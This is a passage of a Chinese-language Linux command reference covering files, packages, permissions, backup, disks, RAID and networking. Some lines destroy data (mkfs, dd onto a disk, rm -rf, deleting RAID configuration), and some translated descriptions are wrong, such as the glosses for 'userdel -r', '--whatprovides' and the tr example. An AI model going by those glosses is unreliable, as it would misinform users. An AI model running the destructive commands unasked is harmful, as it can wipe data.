shutdown -r now 重启
reboot 重启
logout 注销 

3.文件和目录 

cd /home 进入 '/ home' 目录' 
cd .. 返回上一级目录 
cd ../.. 返回上两级目录 
cd 进入个人的主目录 
cd ~user1 进入个人的主目录 
cd - 返回上次所在的目录 
pwd 显示工作路径 
ls 查看目录中的文件 
ls -F 查看目录中的文件 
ls -l 显示文件和目录的详细资料 
ls -a 显示隐藏文件 
ls *[0-9]* 显示包含数字的文件名和目录名 
tree 显示文件和目录由根目录开始的树形结构
lstree 显示文件和目录由根目录开始的树形结构
mkdir dir1 创建一个叫做 'dir1' 的目录' 
mkdir dir1 dir2 同时创建两个目录 
mkdir -p /tmp/dir1/dir2 创建一个目录树 
rm -f file1 删除一个叫做 'file1' 的文件' 
rmdir dir1 删除一个叫做 'dir1' 的目录' 
rm -rf dir1 删除一个叫做 'dir1' 的目录并同时删除其内容 
rm -rf dir1 dir2 同时删除两个目录及它们的内容 
mv dir1 new_dir 重命名/移动 一个目录 
cp file1 file2 复制一个文件 
cp dir/* . 复制一个目录下的所有文件到当前工作目录 
cp -a /tmp/dir1 . 复制一个目录到当前工作目录 
cp -a dir1 dir2 复制一个目录 
cp -r dir1 dir2 复制一个目录及子目录
ln -s file1 lnk1 创建一个指向文件或目录的软链接 
ln file1 lnk1 创建一个指向文件或目录的物理链接 
touch -t 0712250000 file1 修改一个文件或目录的时间戳 - (YYMMDDhhmm) 
file file1 outputs the mime type of the file as text 
iconv -l 列出已知的编码 
iconv -f fromEncoding -t toEncoding inputFile > outputFile creates a new from the given input file by assuming it is encoded in fromEncoding and converting it to toEncoding. 
find . -maxdepth 1 -name *.jpg -print -exec convert "{}" -resize 80x60 "thumbs/{}" \; batch resize files in the current directory and send them to a thumbnails directory (requires convert from Imagemagick) 

4.文件搜索 

find / -name file1 从 '/' 开始进入根文件系统搜索文件和目录 
find / -user user1 搜索属于用户 'user1' 的文件和目录 
find /home/user1 -name \*.bin 在目录 '/ home/user1' 中搜索带有'.bin' 结尾的文件 
find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件 
find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件 
find / -name \*.rpm -exec chmod 755 '{}' \; 搜索以 '.rpm' 结尾的文件并定义其权限 
find / -xdev -name \*.rpm 搜索以 '.rpm' 结尾的文件，忽略光驱、捷盘等可移动设备 
locate \*.ps 寻找以 '.ps' 结尾的文件 - 先运行 'updatedb' 命令 
whereis halt 显示一个二进制文件、源码或man的位置 
which halt 显示一个二进制文件或可执行文件的完整路径 

5.挂载一个文件系统 

mount /dev/hda2 /mnt/hda2 挂载一个叫做hda2的盘 - 确定目录 '/ mnt/hda2' 已经存在 
umount /dev/hda2 卸载一个叫做hda2的盘 - 先从挂载点 '/ mnt/hda2' 退出 
fuser -km /mnt/hda2 当设备繁忙时强制卸载 
umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用 
mount /dev/fd0 /mnt/floppy 挂载一个软盘 
mount /dev/cdrom /mnt/cdrom 挂载一个cdrom或dvdrom 
mount /dev/hdc /mnt/cdrecorder 挂载一个cdrw或dvdrom 
mount /dev/hdb /mnt/cdrecorder 挂载一个cdrw或dvdrom 
mount -o loop file.iso /mnt/cdrom 挂载一个文件或ISO镜像文件 
mount -t vfat /dev/hda5 /mnt/hda5 挂载一个Windows FAT32文件系统 
mount /dev/sda1 /mnt/usbdisk 挂载一个usb 捷盘或闪存设备 
mount -t smbfs -o username=user,password=pass //WinClient/share /mnt/share 挂载一个windows网络共享 

6.磁盘空间 

df -h 显示已经挂载的分区列表 
ls -lSr |more 以尺寸大小排列文件和目录 
du -sh dir1 估算目录 'dir1' 已经使用的磁盘空间' 
du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小 
rpm -q -a --qf '%10{SIZE}t%{NAME}n' | sort -k1,1n 以大小为依据依次显示已安装的rpm包所使用的空间 (fedora, redhat类系统) 
dpkg-query -W -f='${Installed-Size;10}t${Package}n' | sort -k1,1n 以大小为依据显示已安装的deb包所使用的空间 (ubuntu, debian类系统) 

7.用户和群组 

groupadd group_name 创建一个新用户组 
groupdel group_name 删除一个用户组 
groupmod -n new_group_name old_group_name 重命名一个用户组 
useradd -c "Name Surname " -g admin -d /home/user1 -s /bin/bash user1 创建一个属于 "admin" 用户组的用户 
useradd user1 创建一个新用户 
userdel -r user1 删除一个用户 ( '-r' 排除主目录) 
usermod -c "User FTP" -g system -d /ftp/user1 -s /bin/nologin user1 修改用户属性 
passwd 修改口令 
passwd user1 修改一个用户的口令 (只允许root执行) 
chage -E 2005-12-31 user1 设置用户口令的失效期限 
pwck 检查 '/etc/passwd' 的文件格式和语法修正以及存在的用户 
grpck 检查 '/etc/passwd' 的文件格式和语法修正以及存在的群组 
newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组 

8.文件的权限 - 使用 "+" 设置权限，使用 "-" 用于取消 

ls -lh 显示权限 
ls /tmp | pr -T5 -W$COLUMNS 将终端划分成5栏显示 
chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读（r ）、写(w)和执行(x)的权限 
chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限 
chown user1 file1 改变一个文件的所有人属性 
chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性 
chgrp group1 file1 改变文件的群组 
chown user1:group1 file1 改变一个文件的所有人和群组属性 
find / -perm -u+s 罗列一个系统中所有使用了SUID控制的文件 
chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限 
chmod u-s /bin/file1 禁用一个二进制文件的 SUID位 
chmod g+s /home/public 设置一个目录的SGID 位 - 类似SUID ，不过这是针对目录的 
chmod g-s /home/public 禁用一个目录的 SGID 位 
chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件 
chmod o-t /home/public 禁用一个目录的 STIKY 位 
chmod -R 777 /home/public 设置该目录下的文件为所有用户可读写执行
chattr +a file1 只允许以追加方式读写文件 
chattr +c file1 允许这个文件能被内核自动压缩/解压 
chattr +d file1 在进行文件系统备份时，dump程序将忽略这个文件 
chattr +i file1 设置成不可变的文件，不能被删除、修改、重命名或者链接 
chattr +s file1 允许一个文件被安全地删除 
chattr +S file1 一旦应用程序对这个文件执行了写操作，使系统立刻把修改的结果写到磁盘 
chattr +u file1 若文件被删除，系统会允许你在以后恢复这个被删除的文件 
lsattr 显示特殊的属性 

9.打包和压缩文件 

bunzip2 file1.bz2 解压一个叫做 'file1.bz2'的文件 
bzip2 file1 压缩一个叫做 'file1' 的文件 
gunzip file1.gz 解压一个叫做 'file1.gz'的文件 
gzip file1 压缩一个叫做 'file1'的文件 
gzip -9 file1 最大程度压缩 
rar a file1.rar test_file 创建一个叫做 'file1.rar' 的包 
rar a file1.rar file1 file2 dir1 同时压缩 'file1', 'file2' 以及目录 'dir1' 
rar x file1.rar 解压rar包 
unrar x file1.rar 解压rar包 
tar -cvf archive.tar file1 创建一个非压缩的 tarball 
tar -cvf archive.tar file1 file2 dir1 创建一个包含了 'file1', 'file2' 以及 'dir1'的档案文件 
tar -tf archive.tar 显示一个包中的内容 
tar -xvf archive.tar 释放一个包 
tar -xvf archive.tar -C /tmp 将压缩包释放到 /tmp目录下 
tar -cvfj archive.tar.bz2 dir1 创建一个bzip2格式的压缩包 
tar -jxvf archive.tar.bz2 解压一个bzip2格式的压缩包 
tar -cvfz archive.tar.gz dir1 创建一个gzip格式的压缩包 
tar -zxvf archive.tar.gz 解压一个gzip格式的压缩包 
zip file1.zip file1 创建一个zip格式的压缩包 
zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个zip格式的压缩包 
unzip file1.zip 解压一个zip格式压缩包 

10.RPM 包 - （Fedora, Redhat及类似系统） 

rpm -ivh package.rpm 安装一个rpm包 
rpm -ivh --nodeeps package.rpm 安装一个rpm包而忽略依赖关系警告 
rpm -U package.rpm 更新一个rpm包但不改变其配置文件 
rpm -F package.rpm 更新一个确定已经安装的rpm包 
rpm -e package_name.rpm 删除一个rpm包 
rpm -qa 显示系统中所有已经安装的rpm包 
rpm -qa | grep httpd 显示所有名称中包含 "httpd" 字样的rpm包 
rpm -qi package_name 获取一个已安装包的特殊信息 
rpm -qg "System Environment/Daemons" 显示一个组件的rpm包 
rpm -ql package_name 显示一个已经安装的rpm包提供的文件列表 
rpm -qc package_name 显示一个已经安装的rpm包提供的配置文件列表 
rpm -q package_name --whatrequires 显示与一个rpm包存在依赖关系的列表 
rpm -q package_name --whatprovides 显示一个rpm包所占的体积 
rpm -q package_name --scripts 显示在安装/删除期间所执行的脚本l 
rpm -q package_name --changelog 显示一个rpm包的修改历史 
rpm -qf /etc/httpd/conf/httpd.conf 确认所给的文件由哪个rpm包所提供 
rpm -qp package.rpm -l 显示由一个尚未安装的rpm包提供的文件列表 
rpm --import /media/cdrom/RPM-GPG-KEY 导入公钥数字证书 
rpm --checksig package.rpm 确认一个rpm包的完整性 
rpm -qa gpg-pubkey 确认已安装的所有rpm包的完整性 
rpm -V package_name 检查文件尺寸、 许可、类型、所有者、群组、MD5检查以及最后修改时间 
rpm -Va 检查系统中所有已安装的rpm包- 小心使用 
rpm -Vp package.rpm 确认一个rpm包还未安装 
rpm2cpio package.rpm | cpio --extract --make-directories *bin* 从一个rpm包运行可执行文件 
rpm -ivh /usr/src/redhat/RPMS/`arch`/package.rpm 从一个rpm源码安装一个构建好的包 
rpmbuild --rebuild package_name.src.rpm 从一个rpm源码构建一个 rpm 包 

11.YUM 软件包升级器 - （Fedora, RedHat及类似系统） 

yum install package_name 下载并安装一个rpm包 
yum localinstall package_name.rpm 将安装一个rpm包，使用你自己的软件仓库为你解决所有依赖关系 
yum update package_name.rpm 更新当前系统中所有安装的rpm包 
yum update package_name 更新一个rpm包 
yum remove package_name 删除一个rpm包 
yum list 列出当前系统中安装的所有包 
yum search package_name 在rpm仓库中搜寻软件包 
yum clean packages 清理rpm缓存删除下载的包 
yum clean headers 删除所有头文件 
yum clean all 删除所有缓存的包和头文件 

12.DEB 包 (Debian, Ubuntu 以及类似系统) 

dpkg -i package.deb 安装/更新一个 deb 包 
dpkg -r package_name 从系统删除一个 deb 包 
dpkg -l 显示系统中所有已经安装的 deb 包 
dpkg -l | grep httpd 显示所有名称中包含 "httpd" 字样的deb包 
dpkg -s package_name 获得已经安装在系统中一个特殊包的信息 
dpkg -L package_name 显示系统中已经安装的一个deb包所提供的文件列表 
dpkg --contents package.deb 显示尚未安装的一个包所提供的文件列表 
dpkg -S /bin/ping 确认所给的文件由哪个deb包提供 

13.APT 软件工具 (Debian, Ubuntu 以及类似系统) 

apt-get install package_name 安装/更新一个 deb 包 
apt-cdrom install package_name 从光盘安装/更新一个 deb 包 
apt-get update 升级列表中的软件包 
apt-get upgrade 升级所有已安装的软件 
apt-get remove package_name 从系统删除一个deb包 
apt-get check 确认依赖的软件仓库正确 
apt-get clean 从下载的软件包中清理缓存 
apt-cache search searched-package 返回包含所要搜索字符串的软件包名称 

14.查看文件内容 

cat file1 从第一个字节开始正向查看文件的内容 
tac file1 从最后一行开始反向查看一个文件的内容 
more file1 查看一个长文件的内容 
less file1 类似于 'more' 命令，但是它允许在文件中和正向操作一样的反向操作 
head -2 file1 查看一个文件的前两行 
tail -2 file1 查看一个文件的最后两行 
tail -f /var/log/messages 实时查看被添加到一个文件中的内容 

15.文本处理 

cat file1 file2 ... | command <> file1_in.txt_or_file1_out.txt general syntax for text manipulation using PIPE, STDIN and STDOUT 
cat file1 | command( sed, grep, awk, grep, etc...) > result.txt 合并一个文件的详细说明文本，并将简介写入一个新文件中 
cat file1 | command( sed, grep, awk, grep, etc...) >> result.txt 合并一个文件的详细说明文本，并将简介写入一个已有的文件中 
grep Aug /var/log/messages 在文件 '/var/log/messages'中查找关键词"Aug" 
grep ^Aug /var/log/messages 在文件 '/var/log/messages'中查找以"Aug"开始的词汇 
grep [0-9] /var/log/messages 选择 '/var/log/messages' 文件中所有包含数字的行 
grep Aug -R /var/log/* 在目录 '/var/log' 及随后的目录中搜索字符串"Aug" 
sed 's/stringa1/stringa2/g' example.txt 将example.txt文件中的 "string1" 替换成 "string2" 
sed '/^$/d' example.txt 从example.txt文件中删除所有空白行 
sed '/ *#/d; /^$/d' example.txt 从example.txt文件中删除所有注释和空白行 
echo 'esempio' | tr '[:lower:]' '[:upper:]' 合并上下单元格内容 
sed -e '1d' result.txt 从文件example.txt 中排除第一行 
sed -n '/stringa1/p' 查看只包含词汇 "string1"的行 
sed -e 's/ *$//' example.txt 删除每一行最后的空白字符 
sed -e 's/stringa1//g' example.txt 从文档中只删除词汇 "string1" 并保留剩余全部 
sed -n '1,5p;5q' example.txt 查看从第一行到第5行内容 
sed -n '5p;5q' example.txt 查看第5行 
sed -e 's/00*/0/g' example.txt 用单个零替换多个零 
cat -n file1 标示文件的行数 
cat example.txt | awk 'NR%2==1' 删除example.txt文件中的所有偶数行 
echo a b c | awk '{print $1}' 查看一行第一栏 
echo a b c | awk '{print $1,$3}' 查看一行的第一和第三栏 
paste file1 file2 合并两个文件或两栏的内容 
paste -d '+' file1 file2 合并两个文件或两栏的内容，中间用"+"区分 
sort file1 file2 排序两个文件的内容 
sort file1 file2 | uniq 取出两个文件的并集(重复的行只保留一份) 
sort file1 file2 | uniq -u 删除交集，留下其他的行 
sort file1 file2 | uniq -d 取出两个文件的交集(只留下同时存在于两个文件中的文件) 
comm -1 file1 file2 比较两个文件的内容只删除 'file1' 所包含的内容 
comm -2 file1 file2 比较两个文件的内容只删除 'file2' 所包含的内容 
comm -3 file1 file2 比较两个文件的内容只删除两个文件共有的部分 

16.字符设置和文件格式转换 

dos2unix filedos.txt fileunix.txt 将一个文本文件的格式从MSDOS转换成UNIX 
unix2dos fileunix.txt filedos.txt 将一个文本文件的格式从UNIX转换成MSDOS 
recode ..HTML < page.txt > page.html 将一个文本文件转换成html 
recode -l | more 显示所有允许的转换格式 

17.文件系统

badblocks -v /dev/hda1 检查磁盘hda1上的坏磁块 
fsck /dev/hda1 修复/检查hda1磁盘上linux文件系统的完整性 
fsck.ext2 /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性 
e2fsck /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性 
e2fsck -j /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性 
fsck.ext3 /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性 
fsck.vfat /dev/hda1 修复/检查hda1磁盘上fat文件系统的完整性 
fsck.msdos /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性 
dosfsck /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性 
//初始化一个文件系统 
mkfs /dev/hda1 在hda1分区创建一个文件系统 
mke2fs /dev/hda1 在hda1分区创建一个linux ext2的文件系统 
mke2fs -j /dev/hda1 在hda1分区创建一个linux ext3(日志型)的文件系统 
mkfs -t vfat 32 -F /dev/hda1 创建一个 FAT32 文件系统 
fdformat -n /dev/fd0 格式化一个软盘 
mkswap /dev/hda3 创建一个swap文件系统 
//SWAP文件系统 
mkswap /dev/hda3 创建一个swap文件系统 
swapon /dev/hda3 启用一个新的swap文件系统 
swapon /dev/hda2 /dev/hdb3 启用两个swap分区 

18.备份 

dump -0aj -f /tmp/home0.bak /home 制作一个 '/home' 目录的完整备份 
dump -1aj -f /tmp/home0.bak /home 制作一个 '/home' 目录的交互式备份 
restore -if /tmp/home0.bak 还原一个交互式备份 
rsync -rogpav --delete /home /tmp 同步两边的目录 
rsync -rogpav -e ssh --delete /home ip_address:/tmp 通过SSH通道rsync 
rsync -az -e ssh --delete ip_addr:/home/public /home/local 通过ssh和压缩将一个远程目录同步到本地目录 
rsync -az -e ssh --delete /home/local ip_addr:/home/public 通过ssh和压缩将本地目录同步到远程目录 
dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr 'dd of=hda.gz' 通过ssh在远程主机上执行一次备份本地磁盘的操作 
dd if=/dev/sda of=/tmp/file1 备份磁盘内容到一个文件 
tar -Puf backup.tar /home/user 执行一次对 '/home/user' 目录的交互式备份操作 
( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr 'cd /home/share/ && tar x -p' 通过ssh在远程目录中复制一个目录内容 
( tar c /home ) | ssh -C user@ip_addr 'cd /home/backup-home && tar x -p' 通过ssh在远程目录中复制一个本地目录 
tar cf - . | (cd /tmp/backup ; tar xf - ) 本地将一个目录复制到另一个地方，保留原有权限及链接 
find /home/user1 -name '*.txt' | xargs cp -av --target-directory=/home/backup/ --parents 从一个目录查找并复制所有以 '.txt' 结尾的文件到另一个目录 
find /var/log -name '*.log' | tar cv --files-from=- | bzip2 > log.tar.bz2 查找所有以 '.log' 结尾的文件并做成一个bzip包 
dd if=/dev/hda of=/dev/fd0 bs=512 count=1 做一个将 MBR (Master Boot Record)内容复制到软盘的动作 
dd if=/dev/fd0 of=/dev/hda bs=512 count=1 从已经保存到软盘的备份中恢复MBR内容 

19.光盘 

cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force 清空一个可复写的光盘内容 
mkisofs /dev/cdrom > cd.iso 在磁盘上创建一个光盘的iso镜像文件 
mkisofs /dev/cdrom | gzip > cd_iso.gz 在磁盘上创建一个压缩了的光盘iso镜像文件 
mkisofs -J -allow-leading-dots -R -V "Label CD" -iso-level 4 -o ./cd.iso data_cd 创建一个目录的iso镜像文件 
cdrecord -v dev=/dev/cdrom cd.iso 刻录一个ISO镜像文件 
gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom - 刻录一个压缩了的ISO镜像文件 
mount -o loop cd.iso /mnt/iso 挂载一个ISO镜像文件 
cd-paranoia -B 从一个CD光盘转录音轨到 wav 文件中 
cd-paranoia -- "-3" 从一个CD光盘转录音轨到 wav 文件中（参数-3） 
cdrecord --scanbus 扫描总线以识别scsi通道 
dd if=/dev/hdc | md5sum 校验一个设备的md5sum编码，例如一张 CD 

20.磁盘

执行如下命令，启动SMART：

smartctl --smart=on --offlineauto=on --saveauto=on /dev/hdb

smartctl  

i 	指定设备
-d 	指定设备类型,例如：ata, scsi, marvell, sat, 3ware,N
-a 	或A 显示所有信息
-l	 指定日志的类型，例如:TYPE: error, selftest, selective, directory,background, 		   scttemp[sts,hist]
-H 	查看硬盘健康状态
-t 	short 后台检测硬盘，消耗时间短
-t 	long 后台检测硬盘，消耗时间长
-C 	-t short 前台检测硬盘，消耗时间短
-C 	-t long 前台检测硬盘，消耗时间长
-X  中断后台检测硬盘
-l  selftest 显示硬盘检测日志

smartctl -s on -d  cciss,0 /dev/cciss/c0d0 开启SMART
smartctl  -a  -d cciss,0 -i /dev/cciss/c0d0  显示所有SMART信息
smartctl  -l error  -d cciss,0 -i /dev/cciss/c0d0 查看磁盘错误日志
lsblk		命令用来查看block设备的信息.
lsblk		 命令输出 default 参数是-a, --all
lsblk		 -b , --bytes ,输出单位为字节
lsblk		 -D , --discard, 打印遗弃功能列表, 
lsblk 	-d [/dev/sdx], --nodeps ,打印指定设备的信息,或者打印所有设备的信息
lsblk		 -e, --exclude list , 排除major id列表
lsblk		 -f, --fs , 输出设备的文件系统信息
lsblk 	-I , --include list ,打印major id列表
lsblk 	-i , --ascii ,将输出信息的字符用ascii码打印
lsblk		 -m, --perms , 输出设备的权限,属主属组信息
lsblk 	-p, --paths, 打印设备的全部路径
lsblk 	-r, --raw , 裸格式输出
lsblk 	-S, --scsi 输出scsi设备(物理设备)的信息
sas3ircu 对LSI3008阵列卡的管理
./sas3ircu -h    查看帮助信息
./sas3ircu list    查看所有RAID控制器信息
./sas3ircu 0 display    查看第一块RAID控制器、volume、物理磁盘等信息。这里数字0代表第一块RAID卡，依次类推。如果只有一块RAID卡，也是0。
./sas3ircu 0 status    查看第一块RAID控制器所有逻辑磁盘信息
./sas3ircu 0 delete noprompt    删除第一块RAID控制器上所有RAID配置
./sas3ircu 0 create raid 1 max 2:0 2:1 noprompt    在第一块RAID控制器上将第一块与第二块物理磁盘配置为RAID1，分配最大使用空间

fdisk命令操作磁盘详解--添加、删除、转换分区等

操作硬盘的命令格式如：[root@localhost beinan]# fdisk 设备

Command (m for help): 在这里按m ，就会输出帮助；
　　Command action
　　a toggle a bootable flag
　　b edit bsd disklabel
　　c toggle the dos compatibility flag
　　d delete a partition 注：这是删除一个分区的动作；
　　l list known partition types 注：l是列出分区类型，以供我们设置相应分区的类型；
　　m print this menu 注：m 是列出帮助信息；
　　n add a new partition 注：添加一个分区；
　　o create a new empty DOS partition table
　　p print the partition table 注：p列出分区表；
　　q quit without saving changes 注：不保存退出；
　　s create a new empty Sun disklabel
　　t change a partition's system id 注：t 改变分区类型；
　　u change display/entry units
　　v verify the partition table
　　w write table to disk and exit 注：把分区表写入硬盘并退出；

 21.网络 - （以太网和WIFI无线）

ifconfig eth0 显示一个以太网卡的配置 
ifup eth0 启用一个 'eth0' 网络设备 
ifdown eth0 禁用一个 'eth0' 网络设备 
ifconfig eth0 192.168.1.1 netmask 255.255.255.0 控制IP地址 
ifconfig eth0 promisc 设置 'eth0' 成混杂模式以嗅探数据包 (sniffing) 
ifconfig eth0 ip down  删除IP对应网卡
dhclient eth0 以dhcp模式启用 'eth0' 
route -n show routing table 
route add -net 0/0 gw IP_Gateway configura default gateway 
route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1 configure static route to reach network '192.168.0.0/16' 
route del 0/0 gw IP_gateway remove static route 
echo "1" > /proc/sys/net/ipv4/ip_forward activate ip routing 
hostname show hostname of system 
host www.example.com lookup hostname to resolve name to ip address and viceversa
nslookup www.example.com lookup hostname to resolve name to ip address and viceversa
ip link show show link status of all interfaces 
mii-tool eth0 show link status of 'eth0' 
ethtool eth0 show statistics of network card 'eth0' 
netstat -tup show all active network connections and their PID 
netstat -tupl show all network services listening on the system and their PID 
tcpdump tcp port 80 show all HTTP traffic 
iwlist scan show wireless networks 
iwconfig eth1 show configuration of a wireless network card 
hostname show hostname 
host www.example.com lookup hostname to resolve name to ip address and viceversa 
nslookup www.example.com lookup hostname to resolve name to ip address and viceversa 
whois www.example.com lookup on Whois database 

 22.进程通信 ipcs

查看当前系统下包括共享内存、消息队列、信号量等信息。
ipcs -a命令可以查看当前使用的共享内存、消息队列及信号量所有信息。
ipcs -p命令可以得到与共享内存、消息队列相关进程之间的消息。
ipcs -u命令可以查看各个资源的使用总结信息，其中可以看到使用的信号量集的个数、		    信号量的个数，以及消息队列中当前使用的消息个数总数、占用的空间字节数。
ipcs -l命令可以查看各个资源的系统限制信息，可以看到系统允许的最大信号量集及信号量个数限制、最大的消息队列中消息个数等信息。